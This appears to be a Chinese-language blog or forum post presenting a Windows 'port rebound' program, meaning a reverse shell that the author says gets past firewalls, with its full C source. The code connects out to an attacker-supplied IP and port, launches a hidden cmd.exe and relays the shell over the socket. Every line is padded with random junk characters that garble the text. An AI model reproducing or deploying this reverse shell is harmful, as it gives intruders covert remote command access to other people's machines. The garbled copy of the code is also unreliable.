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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Kh_>Vm/  
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/* ============================== E~U|v'GCd  
Rebound port in Windows NT t@mw f3,  
By wind,2006/7 kT3;%D^  
===============================*/ 4zvU"np  
#include F;l<>|vG  
#include 9n2%7dLQ*  
%.  }  
#pragma comment(lib,"wsock32.lib") %1l80Z  
st^N QL  
void OutputShell(); UVi/Be#|  
SOCKET sClient; 5s2}nIe  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HGMH g  
<. ]&FPJ  
void main(int argc,char **argv) GoGgw]h>x  
{ N1zrfn-VU  
WSADATA stWsaData; LWR &(p.%  
int nRet; -|UX}t*  
SOCKADDR_IN stSaiClient,stSaiServer; }E] &13>r  
8J@OMW&[l  
if(argc != 3) `e:RZ  
{ UmMYe4LQR  
printf("Useage:\n\rRebound DestIP DestPort\n"); g0 U\AN  
return; X_yU"U  
} :BiR6>1:  
ymJw{&^am  
WSAStartup(MAKEWORD(2,2),&stWsaData); Cl){sP=8W  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `SpS?mWA  
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stSaiClient.sin_family = AF_INET; 'cCj@bZ9X  
stSaiClient.sin_port = htons(0); [WSIC *|;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X"r$,~  
Nv#, s_hG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o*S $j Cf?  
{ JqIv&W  
printf("Bind Socket Failed!\n"); Ya {1/AaM  
return; , X+(wp  
} ed2 &9E>9b  
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stSaiServer.sin_family = AF_INET; .EELR]`y7I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |xC TX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X64I~*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LU=)\U@Q  
{ f*@:{2I.v  
printf("Connect Error!"); 9E*K44L/V  
return; <W{0@?y  
} DccsVR`7  
OutputShell(); q.Mck9R7  
} 9`VF [* 9  
VZ!$'??  
void OutputShell() {Z;GNMO:  
{ jCa;g{#@  
char szBuff[1024]; BFRSYwPr  
SECURITY_ATTRIBUTES stSecurityAttributes; X+BSneu  
OSVERSIONINFO stOsversionInfo; *g}&&$b0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XsMphZnK  
STARTUPINFO stStartupInfo; b,sc  
char *szShell; )xs,  
PROCESS_INFORMATION stProcessInformation; j ZafwBi  
unsigned long lBytesRead; M- A}(r +J  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !~kzxY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =f|a?j,f~  
stSecurityAttributes.lpSecurityDescriptor = 0; n#,l&Bx  
stSecurityAttributes.bInheritHandle = TRUE; CplRnKra  
i`s pM<iR.  
2$UR " P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CT`X~y10  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }Elce}  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^!tI+F{n{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xz'd5 re%  
stStartupInfo.wShowWindow = SW_HIDE; <5^(l$IBj  
stStartupInfo.hStdInput = hReadPipe; !d )i6W?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?5gpk1  
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GetVersionEx(&stOsversionInfo); gWPa8q<b  
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switch(stOsversionInfo.dwPlatformId) +.uk#K0o  
{ '1nU[,Wj  
case 1: =hlu, By  
szShell = "command.com"; bS6Yi)p  
break; s]>%_(5  
default: TD9`S SpP  
szShell = "cmd.exe"; xUoY|$fI  
break; Sa~C#[V  
} (o\~2e:  
)T_ #X!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A4x3TW?  
)UUe5H6Hd0  
send(sClient,szMsg,77,0); `7ZJB$7D|*  
while(1)  (La  
{ _XPc0r:?>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u&bU !ZI  
if(lBytesRead) tsD^8~ t|h  
{ 55\mQ|.Jn  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .@V>p6MV  
send(sClient,szBuff,lBytesRead,0); B:.rp.1   
} a QFHB!  
else  p-kqX  
{ -GjJrYOU  
lBytesRead=recv(sClient,szBuff,1024,0); S\(_"xJPp  
if(lBytesRead<=0) break; N|}`p"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aoS1Yt'@  
} r0>T7yPAK  
} 3\7$)p+c  
qiN'Tuw9  
return; 2B;QS\e"  
}
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